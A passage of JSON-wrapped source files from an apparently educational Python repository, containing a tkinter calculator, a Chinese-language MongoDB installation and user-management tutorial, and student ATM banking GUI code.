0.6023392081260681, "avg_line_length": 26.56989288330078, "blob_id": "85cc755be16bbc7dc33b9565df8bc340c9db3962", "content_id": "59af2c0cca4c15b2d38b4f5deec05d33ede499da", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2895, "license_type": "permissive", "max_line_length": 96, "num_lines": 93, "path": "/py-basis/计算器.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 填写本模块功能大致描述\n@Time : 2018/8/15 上午6:53\n@Author : 北冥神君\n@File : 计算器.py\n@Software: PyCharm\n\"\"\"\n\nimport re\nimport tkinter\nimport tkinter.messagebox\n\nroot = tkinter.Tk()\n# 设置窗口大小和位置\nroot.geometry('300x270+400+100')\n#不允许修改窗口大小\nroot.resizable(False,False)\n# 设置窗口标题\nroot.title('计算器')\n\n# 放置信息交流文本框,并设置为只读\ncontentVar = tkinter.StringVar(root, '')\ncententEntry = tkinter.Entry(root, textvariable=contentVar)\ncententEntry['state'] = 'readonly'\ncententEntry.place(x=10, y=10, width=280, height=20) # 显示位置\n\n# 按钮处理\ndef buttonClick(btn):\n content = contentVar.get() # 获取按钮内容\n print(content)\n # 如果已有内容是以小数点开头的,前面加0\n if content.startswith('.'):\n content = '0' + content\n if btn in '01234567890':\n content += btn\n elif btn =='.':\n lastPart = re.split(r'\\+|-|\\*|/]', content)[-1]\n if '.' in lastPart:\n tkinter.messagebox.showerror('错误','小数点太多了')\n return None\n else:\n content += btn\n elif btn == 'C':\n content = ''\n elif btn == '=':\n try:\n # 计算\n content = str(eval(content))\n except:\n tkinter.messagebox.showerror('错误','表达式错误')\n return None\n elif btn in operators:\n if content.endswith(operators):\n tkinter.messagebox.showerror('错误','不允许存在连续的运算符')\n return None\n content += btn\n elif btn == 'Sqrt':\n n = content.split('.')\n if all(map(lambda x: x.isdigit(),n)):\n content = eval(content) ** 0.5\n else:\n tkinter.messagebox.showerror('错误','表达式错误')\n return None\n contentVar.set(content)\n\n\n# 放置清除和等号按钮\nbtnClear = tkinter.Button(root, text='Clear', command=lambda:buttonClick('C'))\nbtnClear.place(x=40, y=40, width=80, height=20)\nbtnComputer = tkinter.Button(root, text='=', command=lambda:buttonClick('='))\nbtnComputer.place(x=170, y=40, width=80, height=20)\n\n# 放置10个数字、小数点和平方根 按钮\ndigits = list('01234567890') + ['Sqrt']\nindex = 0\nfor row in range(4):\n for col in range(3):\n d = digits[index]\n index += 1\n btnDigit = tkinter.Button(root, text=d,command=lambda x=d:buttonClick(x))\n btnDigit.place(x=20 + col*70, y=80 +row*50, width=50, height=20)\n\n# 放置运算符按钮\noperators = ('+', '-', '*', '/', '**', '//')\nfor index, operator in enumerate(operators):\n btnOperator = tkinter.Button(root, text=operator, command=lambda x=operator:buttonClick(x))\n btnOperator.place(x=230, y=80+ index*30, width=50, height=20)\n\n#运行\nroot.mainloop()\n\n" }, { "alpha_fraction": 0.6281993985176086, "alphanum_fraction": 0.6677144169807434, "avg_line_length": 12.346385955810547, "blob_id": "83c4dc268d310774d9ae326c058da9c2c69e45d7", "content_id": "60f1bd2acf924323b61b14792baef9ded01d38e2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 5664, "license_type": "permissive", "max_line_length": 159, "num_lines": 332, "path": "/py-basis/mongodb/MongoDB - 安装和管理用户登录.md", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# MongoDB - 安装和管理用户登录\n![MongoDB 使用系列(一)-- 安装](image/mongo.jpg)\n\n\n\n## 环境\n\n* 系统:Ubuntu 16.04\n* MongoDB 版本:3.6\n\n## 安装\n\n## 添加软件源\n\n1.添加 MongoDB 签名到 APT\n\n\n\n```\n$ sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv EA312927\n\n```\n\n\n\n2.创建/etc/apt/sources.list.d/mongodb-org-3.6.list文件并写入命令\n\nUbuntu 14.04\n\n\n\n```\n$ echo \"deb [ arch=amd64 ] https://repo.mongodb.org/apt/ubuntu trusty/mongodb-org/3.6 multiverse\" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.6.list\n\n```\n\n\n\nUbuntu 16.04\n\n\n\n```\n$ echo \"deb [ arch=amd64,arm64 ] https://repo.mongodb.org/apt/ubuntu xenial/mongodb-org/3.6 multiverse\" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.6.list\n\n```\n\n\n\n由于官方镜像下载速度过慢可采用国内镜像进行安装:\n\nUbuntu 14.04\n\n\n\n```\necho \"deb http://mirrors.aliyun.com/mongodb/apt/ubuntu trusty/mongodb-org/3.6 multiverse\" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.6.list\n\n```\n\n\n\nUbuntu 16.04\n\n\n\n```\necho \"deb http://mirrors.aliyun.com/mongodb/apt/ubuntu xenial/mongodb-org/3.6 multiverse\" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.6.list\n\n```\n\n\n\n## 更新软件源列表\n\n\n\n```\n$ sudo apt-get update\n\n```\n\n\n\n## 安装 MongoDB\n\n\n\n```\n$ sudo apt-get install -y mongodb-org\n\n```\n\n\n\n## 运行 MongoDB\n\n1.启动 MongoDB\n\n\n\n```\nsudo service mongod start\n\n```\n\n\n\n2.通过日志确认 MongoDB 启动成功\n\n\n\n```\n$ tail -10f /var/log/mongodb/mongod.log\n\n```\n\n\n\n看到下列内容则为启动成功\n\n\n\n```\n[initandlisten] waiting for connections on port 27017\n\n```\n\n\n\n3.关闭 MongoDB\n\n\n\n```\n$ sudo service mongod stop\n\n```\n\n\n\n4.重启 MongoDB\n\n\n\n```\n$ sudo service mongod restart\n\n```\n\n\n\n5.查看 MongoDB 状态\n\n\n\n```\n$ sudo service mongod status\n\n```\n\n\n\n## MongoDB 数据、日志及配置文件默认存放路径\n\n1. 数据默认存放路径:`/var/lib/mongodb`\n2. 日志默认存放路径:`/var/log/mongodb`\n3. 配置文件默认存放路径: `/etc/mongod.conf`\n\n## 用户权限设置\n\n## 添加管理员账号\n\n\n\n```\n$ mongo\nMongoDB shell version v3.6.2\nconnecting to: mongodb://127.0.0.1:27017\nMongoDB server version: 3.6.2\n> use admin \n> db.createUser(\n {\n user: \"admin\",\n pwd: \"mongodb123456\",\n roles: [ { role: \"userAdminAnyDatabase\", db: \"admin\" } ]\n }\n)\nSuccessfully added user: {\n \"user\" : \"admin\",\n \"roles\" : [\n {\n \"role\" : \"userAdminAnyDatabase\",\n \"db\" : \"admin\"\n }\n ]\n}\n\n```\n\n\n\n## 在配置文件中开启权限验证\n\n\n\n```\n$ sudo vim /etc/mongod.conf\n\n```\n\n\n\n在配置文件中加入:\n\n\n\n```\nsecurity:\n authorization: enabled\n\n```\n\n\n\n## 重启 MongoDB 服务\n\n\n\n```\n$ sudo service mongod restart\n\n```\n\n\n\n## 验证权限是否生效\n\n\n首先先进入用户创建所在的库进行验证才能进行操作\n```\n$ mongo\nMongoDB shell version v3.4.16\nconnecting to: mongodb://127.0.0.1:27017\nMongoDB server version: 3.4.16\n> show dbs\n2018-02-01T14:39:46.976+0800 E QUERY [thread1] Error: listDatabases failed:{\n\t\"ok\" : 0,\n\t\"errmsg\" : \"not authorized on admin to execute command { listDatabases: 1.0, $db: \\\"admin\\\" }\",\n\t\"code\" : 13,\n\t\"codeName\" : \"Unauthorized\"\n} :\n_getErrorWithCode@src/mongo/shell/utils.js:25:13\nMongo.prototype.getDBs@src/mongo/shell/mongo.js:65:1\nshellHelper.show@src/mongo/shell/utils.js:813:19\nshellHelper@src/mongo/shell/utils.js:703:15\n@(shellhelp2):1:1\n> use admin #进入admin数据库\nswitched to db admin \n> db.auth('admin', 'mongodb123456') # 验证密码\n1\n> show dbs\nadmin 0.000GB\nconfig 0.000GB\nlocal 0.000GB\n\n```\n\n\n\n## 添加普通用户\n\n\n\n```\n> use spiders\nswitched to db spiders\n> db.createUser(\n... {\n... user: \"spiders\",\n... pwd: \"spiders@2018\",\n... roles: [{ role: \"readWrite\", db: \"spiders\" }]\n... }\n... )\nSuccessfully added user: {\n\t\"user\" : \"spiders\",\n\t\"roles\" : [\n\t\t{\n\t\t\t\"role\" : \"readWrite\",\n\t\t\t\"db\" : \"spiders\"\n\t\t}\n\t]\n}\n\n```\n\n\n\n成功添加一个普通用户:\n\n* 用户名:spiders\n* 密码:spiders@2018\n* 权限:读写 spiders 数据库\n\n## 内建角色\n\n1.角色介绍\n\n* 数据库用户角色:read、readWrite\n* 数据库管理角色:dbAdmin、dbOwner、userAdmin\n* 集群管理角色:clusterAdmin、clusterManager、clusterMonitor、hostManager\n* 备份恢复角色:backup、restore\n* 所有数据库角色:readAnyDatabase、readWriteAnyDatabase、userAdminAnyDatabase、dbAdminAnyDatabase\n* 超级用户角色:root // 这里还有几个角色间接或直接提供了系统超级用户的访问(dbOwner 、userAdmin、userAdminAnyDatabase)\n* 内部角色:__system\n\n2.角色说明\n\n* Read:允许用户读取指定数据库\n* readWrite:允许用户读写指定数据库\n* dbAdmin:允许用户在指定数据库中执行管理函数,如索引创建、删除,查看统计或访问 system.profile\n* userAdmin:允许用户向 system.users 集合写入,可以找指定数据库里创建、删除和管理用户\n* clusterAdmin:只在 admin 数据库中可用,赋予用户所有分片和复制集相关函数的管理权限\n* readAnyDatabase:只在 admin 数据库中可用,赋予用户所有数据库的读权限\n* readWriteAnyDatabase:只在 admin 数据库中可用,赋予用户所有数据库的读写权限\n* userAdminAnyDatabase:只在 admin 数据库中可用,赋予用户所有数据库的 userAdmin 权限\n* dbAdminAnyDatabase:只在 admin 数据库中可用,赋予用户所有数据库的 dbAdmin 权限\n* root:只在 admin 数据库中可用。超级账号,超级权限\n\n## 参考\n\n* [MongoDB 官方文档](https://link.zhihu.com/?target=https%3A//docs.mongodb.com/manual/tutorial/getting-started/)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.41700616478919983, "alphanum_fraction": 0.42607438564300537, "avg_line_length": 28.314741134643555, "blob_id": "ec7f1ea56a1034b9080e23332266ba9f31c7c1ea", "content_id": "ca906ed3d1441377d4cf39eb1dd3bf5dc7e8504c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8687, "license_type": "permissive", "max_line_length": 66, "num_lines": 251, "path": "/py-basis/各组银行系统带界面/第五组/银行系统/atm.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\nfrom bank import Bank\r\nfrom user import User\r\nfrom card import Card\r\n\r\nimport random\r\n\r\nimport tkinter\r\nclass ATM(object):\r\n def __init__(self):\r\n # self.inputPasswd = inputPasswd()\r\n self.account = \"1\"\r\n self.passwd = \"1\"\r\n self.money = 0\r\n self.isActive = True\r\n\r\n def atmInitView(self):\r\n return \"\"\" \r\n 登陆 关机\r\n \r\n \r\n 提额 改密 \r\n \"\"\"\r\n def welcomeView(self):\r\n return \"\"\" Welcome to Tan bank \r\n \r\n 插卡 开户 \r\n \r\n \r\n 补卡 返回 \r\n \"\"\"\r\n\r\n def optionsView(self, name, cardId):\r\n\r\n return \"\"\" 用户名:%s 卡号:%s \r\n 查询 转账 \r\n\r\n\r\n 存款 取款 \r\n\r\n\r\n 改密 注销 \r\n\r\n\r\n 锁定 解锁 \r\n\r\n 退卡 \r\n \"\"\" % (name, cardId)\r\n\r\n def checkPasswd(self,account,passwd):\r\n if account != self.account or passwd != self.passwd:\r\n\r\n return 1 , \"账号或密码错误\"\r\n else:\r\n return 0, \"系统设置成功,正在启动……\"\r\n #关机\r\n def shutDown(self):\r\n #数据持久化\r\n print(\"正在保存数据……\")\r\n #提额\r\n def addMoney(self,money):\r\n self.money += money\r\n return \"提额成功!!\"\r\n if not self.isActive:\r\n self.isActive = True\r\n\r\n def changeAtmPasswd(self,passwd, passwd1, passwd2):\r\n if passwd != self.passwd:\r\n return \"密码错误,修改失败\"\r\n else:\r\n if passwd1 != passwd2:\r\n return \"两次密码不同,修改失败\"\r\n else:\r\n self.passwd = passwd1\r\n return \"系统密码修改成功\"\r\n #银行卡改密\r\n def changeCardPasswd(self,card,passwd, passwd1, passwd2):\r\n if card.isLock:\r\n return 0,\"该卡已被锁定,请解锁后继续其他操作!\"\r\n else:\r\n if passwd != card.passwd:\r\n return -1,\"密码错误,修改失败\"\r\n else:\r\n if passwd1 != passwd2:\r\n return -2,\"两次密码不同,修改失败\"\r\n else:\r\n return passwd1,\"密码修改成功\"\r\n\r\n #开户\r\n def createCard(self, idCard, name, phone, passwd1,money):\r\n bankSys = Bank()\r\n user = bankSys.usersDict.get(idCard)\r\n\r\n if not user:\r\n user = User(name, idCard, phone)\r\n # 存入系统\r\n bankSys.usersDict[idCard] = user\r\n cardId = self.getCardId()\r\n card = Card(cardId,passwd1,money)\r\n user.cardsDict[cardId] = card\r\n\r\n return \"开卡成功!请牢记卡号:%s\"%(cardId)\r\n\r\n\r\n #插卡\r\n def checkCard(self,cardId,passwd):\r\n # cardId = input(\"输入您的卡号:\")\r\n #找到用户和用户的卡\r\n bankSys = Bank()\r\n print(bankSys.usersDict)\r\n # print(user.cardsDict)\r\n for idCard, user in bankSys.usersDict.items():\r\n for key, card in user.cardsDict.items():\r\n if key == cardId:\r\n if card.passwd ==passwd:\r\n return 1,\"请稍后……\",user, card\r\n else:\r\n return 0 ,\"密码错误\"\r\n return 0,\"卡号不存在……\"\r\n\r\n #查询\r\n def searchCard(self, card):\r\n if card.isLock:\r\n return -1,\"该卡已被锁定,请解锁后继续其他操作!\"\r\n else:\r\n return \"卡号:%s 余额:%.2f\"%(card.cardId, card.money)\r\n\r\n #存款\r\n def deposit(self, card,money):\r\n if card.isLock:\r\n return card.isLock,\"该卡已被锁定,请解锁后继续其他操作!\"\r\n else:\r\n self.money += money\r\n money1 = int(card.money)\r\n money1 += money\r\n card.money = money1\r\n return False,card.money\r\n\r\n #取款\r\n def withdrawal(self, card,money):\r\n if card.isLock:\r\n return card.isLock,\"该卡已被锁定,请解锁后继续其他操作!\"\r\n else:\r\n self.money -= money\r\n money1 = int(card.money)\r\n money1 -= money\r\n card.money = money1\r\n\r\n return False,\"取款成功!!!\"\r\n\r\n #解锁\r\n def unlock(self, user, card):\r\n if card.isLock:\r\n card.isLock = False\r\n return card.isLock,\"解锁成功!\"\r\n else:\r\n return False,\"该卡未被锁定!\"\r\n\r\n #修改密码\r\n def changepasswd(self,card):\r\n if card.isLock:\r\n print(\"该卡已被锁定,请解锁后继续其他操作!\")\r\n if not self.inputPasswd(card.passwd):\r\n\r\n passwd1 = input(\"请输入新密码:\")\r\n passwd2 = input(\"请输验证密码:\")\r\n if passwd1 != passwd2:\r\n print(\"两次密码不同,修改失败\")\r\n else:\r\n card.passwd = passwd1\r\n print(\"系统密码修改成功\")\r\n return 0\r\n else:\r\n print(\"密码验证错误!!\")\r\n\r\n #注销\r\n def logout(self,card):\r\n if card.isLock:\r\n return card.isLock,\"该卡已被锁定,请解锁后继续其他操作!\"\r\n else:\r\n # if not self.inputPasswd(card.passwd):\r\n bankSys = Bank()\r\n for idCard, user in bankSys.usersDict.items():\r\n for key, card1 in user.cardsDict.items():\r\n if key == card.cardId:\r\n del user.cardsDict[key]\r\n # print(\"账户注销成功\")\r\n return False,\"账户注销成功\"\r\n\r\n\r\n #锁定\r\n def lock(self, user, card):\r\n if card.isLock:\r\n return card.isLock,\"该卡已被锁定,请解锁后继续其他操作!\"\r\n else:\r\n card.isLock = True\r\n return False,\"锁定成功!\"\r\n\r\n #转账\r\n def transfer(self, card,cardId1,money):\r\n if card.isLock:\r\n return card.isLock,\"该卡已被锁定,请解锁后继续其他操作!\"\r\n else:\r\n bankSys = Bank()\r\n for idCard, user in bankSys.usersDict.items():\r\n for key, card1 in user.cardsDict.items():\r\n if key == cardId1:\r\n card.money = float(card.money)\r\n money1 = float(card1.money)\r\n money = float(money)\r\n money1 += money\r\n if money > card.money:\r\n return 0,\"卡内余额不足……\"\r\n else:\r\n card.money -= money\r\n card1.money = money1\r\n print(\"转账成功!!\")\r\n return 1,\"转账成功!!\"\r\n return 2,\"输入账号不存在!!\"\r\n\r\n #补卡\r\n def reisse(self, idCard, cardid, passwd1):\r\n bankSys = Bank()\r\n for idCard1, user in bankSys.usersDict.items():\r\n if idCard == idCard1:\r\n if cardid in user.cardsDict:\r\n money = user.cardsDict[cardid].money\r\n cardId = self.getCardId()\r\n card = Card(cardId, passwd1, money)\r\n user.cardsDict[cardId] = card\r\n del user.cardsDict[cardid]\r\n return \"补卡成功!请牢记卡号:%s\" % (cardId)\r\n else:\r\n return \"您的名下没有此卡\"\r\n return \"您还没有开户!!\"\r\n #输入密码,并与真实密码进行比对,比对成功返回0,否则返回1\r\n def inputPasswd(self, realPasswd,passwd):\r\n for i in range(3):\r\n # passwd = input(\"请输入密码:\")\r\n if passwd == realPasswd:\r\n #验证成功\r\n return 0\r\n return 1\r\n\r\n #随机获取一个卡号\r\n def getCardId(self):\r\n arr = \"0123456789\"\r\n cardId = \"\"\r\n for i in range(6):\r\n cardId += random.choice(arr)\r\n return cardId\r\n" }, { "alpha_fraction": 0.456233412027359, "alphanum_fraction": 0.5145888328552246, "avg_line_length": 17.736841201782227, "blob_id": "1158ae60a489b2a344954ff7660c8fbd121b6dab", "content_id": "dd71898308dd20cc751c6b7d171a9ab0c0dff38f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 377, "license_type": "permissive", "max_line_length": 39, "num_lines": 19, "path": "/py-basis/各组银行系统带界面/第五组/银行系统/welcome.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# @File : welcome.py\r\n# @Author: Janus\r\n# @Date : 2018/8/15\r\n# @Desc :\r\nimport tkinter\r\n\r\nARIAL = (\"arial\",10,\"bold\")\r\n\r\nclass Welcome():\r\n\r\n def __init__(self,win):\r\n win = tkinter.Tk()\r\n win.title(\"ATM\")\r\n win.geometry(\"800x500+500+200\")\r\n\r\n obj = Welcome_View(win)\r\n win.mainloop()\r\n\r\n" }, { "alpha_fraction": 0.4810810685157776, "alphanum_fraction": 0.4864864945411682, "avg_line_length": 9.5625, "blob_id": "094e0beb3c6bf6d5c976667c72220d76d3ae3888", "content_id": "fca829ff92f492774a958fd8c4707ef1d0b96493", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 185, "license_type": "permissive", "max_line_length": 26, "num_lines": 16, "path": "/py-basis/各组银行系统带界面/第二组/ATM/main.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n\r\n\"\"\"\r\nprogram name :\r\nlast modification time :\r\nchangelog :\r\n\"\"\"\r\n\r\n\r\ndef main():\r\n pass\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n" }, { "alpha_fraction": 0.527107298374176, "alphanum_fraction": 0.5702938437461853, "avg_line_length": 43.66549301147461, "blob_id": "781d760c6b4c51643463a2882d6809cd2ffb7a3d", "content_id": "093b9ec905a9f26ee52297e8062d0f05fc4907ea", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13224, "license_type": "permissive", "max_line_length": 123, "num_lines": 284, "path": "/py-basis/各组银行系统带界面/第五组/银行系统/optionsView.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# @File : optionsView.py\r\n# @Author: Janus\r\n# @Date : 2018/8/15\r\n# @Desc :\r\nimport tkinter\r\nfrom tkinter import *\r\nfrom atm import ATM\r\n\r\nfrom welcome import Welcome\r\nimport time\r\n\r\nfrom tkinter import messagebox\r\n\r\nARIAL = (\"arial\",10,\"bold\")\r\nclass OptionsView():\r\n def __init__(self, win, user, card):\r\n self.user = user\r\n self.card = card\r\n self.win = win\r\n self.atm = ATM()\r\n self.money = card.money\r\n\r\n\r\n # self.header = Label(self.win, text=\"TAN BANK\", bg=\"#50A8B0\", fg=\"white\", font=(\"arial\", 20, \"bold\"))\r\n # self.header.grid(row = 0, column = 0)\r\n self.uentry = Entry(win, bg=\"honeydew\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\", width=40)\r\n self.pentry = Entry(win, bg=\"honeydew\", show=\"*\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\", width=40)\r\n self.top_frame= Frame(self.win,bg=\"#50A8B0\")\r\n self.frame = Frame(self.win, bg=\"#728B8E\",width=40,height=12)\r\n self.left_frame = Frame(self.win)\r\n self.right_frame = Frame(self.win)\r\n\r\n self.top_frame.grid(row =0,columnspan=3)\r\n self.frame.grid(row=1, column=1)\r\n self.left_frame.grid(row=1, column=0)\r\n self.right_frame.grid(row=1, column=2)\r\n\r\n self.header = Label(self.top_frame, text=\"TAN BANK\", bg=\"#50A8B0\", fg=\"white\", font=(\"arial\", 20, \"bold\"),width=40)\r\n self.header.grid()\r\n\r\n self.content = tkinter.Text(self.frame,width=40,height=12,font=(\"arial\", 15, \"bold\"),bg=\"#728B8E\",fg=\"white\")\r\n\r\n self.content.grid(row = 0)\r\n info = self.optionsView()\r\n self.content.insert(tkinter.INSERT, info)\r\n self.content.config(stat = DISABLED)\r\n\r\n self.lb1 = Button(self.left_frame, text=\"查询\",width=10, height=3,command=self.searchCardView)\r\n self.lb2 = Button(self.left_frame, text=\"存款\",width=10, height=3,command=self.deposit_View)\r\n self.lb3 = Button(self.left_frame, text=\"改密\",width=10, height=3,command=self.changeCardPasswd_view)\r\n self.lb4 = Button(self.left_frame, text=\"锁定\", width=10, height=3, command=self.lock_view)\r\n\r\n\r\n\r\n # self.lb1.pack(side=tkinter.LEFT, fill=tkinter.Y)\r\n # self.lb2.pack(side=tkinter.LEFT, fill=tkinter.Y)\r\n # self.lb3.pack(side=tkinter.LEFT, fill=tkinter.Y)\r\n self.lb1.grid(row=0, column=0, sticky=E, padx=5, pady=5)\r\n self.lb2.grid(row=1, column=0, sticky=E, padx=5, pady=5)\r\n self.lb3.grid(row=2, column=0, sticky=E, padx=5, pady=5)\r\n self.lb4.grid(row=3, column=0, sticky=E, padx=5, pady=5)\r\n\r\n self.rb1 = Button(self.right_frame, text=\"转账\",width=10, height=3,command=self.transfer_View)\r\n self.rb2 = Button(self.right_frame, text=\"取款\",width=10, height=3,command=self.withdrawal_View)\r\n self.rb3 = Button(self.right_frame, text=\"注销\",width=10, height=3,command=self.logout_view)\r\n self.rb4 = Button(self.right_frame, text=\"解锁\", width=10, height=3,command=self.unlock_view)\r\n\r\n self.rb1.grid(row=0, column=0, sticky=W, padx=5, pady=5)\r\n self.rb2.grid(row=1, column=0,sticky=W, padx=5, pady=5)\r\n self.rb3.grid(row=2, column=0, sticky=W, padx=5, pady=5)\r\n self.rb4.grid(row=3, column=0, sticky=W, padx=5, pady=5)\r\n #查询\r\n def searchCardView(self):\r\n self.text_view()\r\n a = []\r\n a.append(\"该卡已被锁定,请解锁后继续其他操作!\")\r\n if self.card.isLock is True:\r\n self.content.insert(tkinter.INSERT, a[0])\r\n self.content.config(stat=DISABLED)\r\n else:\r\n self.content.insert(tkinter.INSERT, self.card.money)\r\n self.content.config(stat=DISABLED)\r\n\r\n #存款\r\n def deposit_View(self):\r\n self.text_view()\r\n self.plabel2 = Label(self.content, text=\"请输入存款金额:\", bg=\"#728B8E\", fg=\"white\", font=ARIAL)\r\n self.pentry2 = Entry(self.content, bg=\"honeydew\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\", width=40)\r\n self.button = Button(self.frame, text=\"确定\", bg=\"#50A8B0\", fg=\"white\", font=ARIAL,\r\n command=self.depositView)\r\n\r\n self.plabel2.place(x=125, y=80, width=200, height=30)\r\n self.pentry2.place(x=160, y=110, width=200, height=30)\r\n self.button.place(x=170, y=220, width=120, height=20)\r\n def depositView(self):\r\n print(type(self.pentry2.get()))\r\n money = int(self.pentry2.get())\r\n print(type(money))\r\n info = self.atm.deposit(self.card, money)\r\n self.text_view()\r\n if info[0] is True:\r\n self.content.insert(tkinter.INSERT, info[1])\r\n self.content.config(stat=DISABLED)\r\n else:\r\n self.content.insert(tkinter.INSERT, info[1])\r\n self.content.config(stat=DISABLED)\r\n #取款\r\n def withdrawal_View(self):\r\n self.text_view()\r\n self.plabel2 = Label(self.content, text=\"请输入取款金额:\", bg=\"#728B8E\", fg=\"white\", font=ARIAL)\r\n self.pentry2 = Entry(self.content, bg=\"honeydew\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\", width=40)\r\n self.button = Button(self.frame, text=\"确定\", bg=\"#50A8B0\", fg=\"white\", font=ARIAL,\r\n command=self.withdrawal)\r\n\r\n self.plabel2.place(x=125, y=80, width=200, height=30)\r\n self.pentry2.place(x=160, y=110, width=200, height=30)\r\n self.button.place(x=170, y=220, width=120, height=20)\r\n def withdrawal(self):\r\n print(type(self.pentry2.get()))\r\n money = int(self.pentry2.get())\r\n print(type(money))\r\n info = self.atm.withdrawal(self.card, money)\r\n self.text_view()\r\n\r\n if info[0] is True:\r\n\r\n\r\n self.content.insert(tkinter.INSERT, info[1])\r\n self.content.config(stat=DISABLED)\r\n else:\r\n\r\n self.content.insert(tkinter.INSERT, info[1])\r\n self.content.config(stat=DISABLED)\r\n\r\n #改密\r\n def changeCardPasswd_view(self):\r\n self.text_view()\r\n self.content.config(stat=DISABLED)\r\n self.plabel1 = Label(self.content, text=\"请输入原始密码\", bg=\"#728B8E\", fg=\"white\", font=ARIAL)\r\n self.pentry1 = Entry(self.content, bg=\"honeydew\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\", width=40,show=\"*\")\r\n self.plabel2 = Label(self.content, text=\"请输入新密码\", bg=\"#728B8E\", fg=\"white\", font=ARIAL)\r\n self.pentry2 = Entry(self.content, bg=\"honeydew\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\", width=40, show=\"*\")\r\n self.plabel3 = Label(self.content, text=\"请输验证密码\", bg=\"#728B8E\", fg=\"white\", font=ARIAL)\r\n self.pentry3 = Entry(self.content, bg=\"honeydew\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\", width=40, show=\"*\")\r\n\r\n self.button = Button(self.frame, text=\"确定\", bg=\"#50A8B0\", fg=\"white\", font=ARIAL, command=self.changeCardPasswd)\r\n\r\n self.plabel1.place(x=125, y=0, width=200, height=30)\r\n self.pentry1.place(x=160, y=30, width=200, height=30)\r\n self.plabel2.place(x=125, y=60, width=200, height=30)\r\n self.pentry2.place(x=160, y=90, width=200, height=30)\r\n self.plabel3.place(x=125, y=120, width=200, height=30)\r\n self.pentry3.place(x=160, y=150, width=200, height=30)\r\n self.button.place(x=170, y=180, width=120, height=20)\r\n def changeCardPasswd(self):\r\n info = self.atm.changeCardPasswd(self.card,self.pentry1.get(),self.pentry2.get(),self.pentry3.get())\r\n self.text_view()\r\n if info[0] == -1:\r\n self.content.insert(tkinter.INSERT, info[1])\r\n self.content.config(stat=DISABLED)\r\n elif info[0] == -2:\r\n self.content.insert(tkinter.INSERT, info[1])\r\n self.content.config(stat=DISABLED)\r\n elif info[0] == 0:\r\n self.content.insert(tkinter.INSERT, info[1])\r\n self.content.config(stat=DISABLED)\r\n else:\r\n self.card.passwd = info[0]\r\n self.content.insert(tkinter.INSERT, info[1])\r\n self.content.config(stat=DISABLED)\r\n #转账\r\n def transfer_View(self):\r\n self.text_view()\r\n self.content.config(stat=DISABLED)\r\n self.plabel1 = Label(self.content, text=\"请输入对方账号\", bg=\"#728B8E\", fg=\"white\", font=ARIAL)\r\n self.pentry1 = Entry(self.content, bg=\"honeydew\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\", width=40)\r\n self.plabel2 = Label(self.content, text=\"请输入转账金额\", bg=\"#728B8E\", fg=\"white\", font=ARIAL)\r\n self.pentry2 = Entry(self.content, bg=\"honeydew\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\", width=40)\r\n self.plabel3 = Label(self.content, text=\"请输入密码\", bg=\"#728B8E\", fg=\"white\", font=ARIAL)\r\n self.pentry3 = Entry(self.content, bg=\"honeydew\", highlightcolor=\"#50A8B0\",\r\n highlightthickness=2,\r\n highlightbackground=\"white\", width=40, show=\"*\")\r\n\r\n self.button = Button(self.frame, text=\"确定\", bg=\"#50A8B0\", fg=\"white\", font=ARIAL, command=self.transferView)\r\n\r\n self.plabel1.place(x=125, y=0, width=200, height=30)\r\n self.pentry1.place(x=160, y=30, width=200, height=30)\r\n self.plabel2.place(x=125, y=60, width=200, height=30)\r\n self.pentry2.place(x=160, y=90, width=200, height=30)\r\n self.plabel3.place(x=125, y=120, width=200, height=30)\r\n self.pentry3.place(x=160, y=150, width=200, height=30)\r\n self.button.place(x=170, y=180, width=120, height=20)\r\n\r\n def transferView(self):\r\n self.text_view()\r\n if self.pentry3.get() != self.card.passwd:\r\n info = [\"密码错误!\"]\r\n self.content.insert(tkinter.INSERT, info[0])\r\n self.content.config(stat=DISABLED)\r\n else:\r\n info = self.atm.transfer(self.card, self.pentry1.get(), self.pentry2.get())\r\n if info[0] == 0:\r\n self.content.insert(tkinter.INSERT, info[1])\r\n 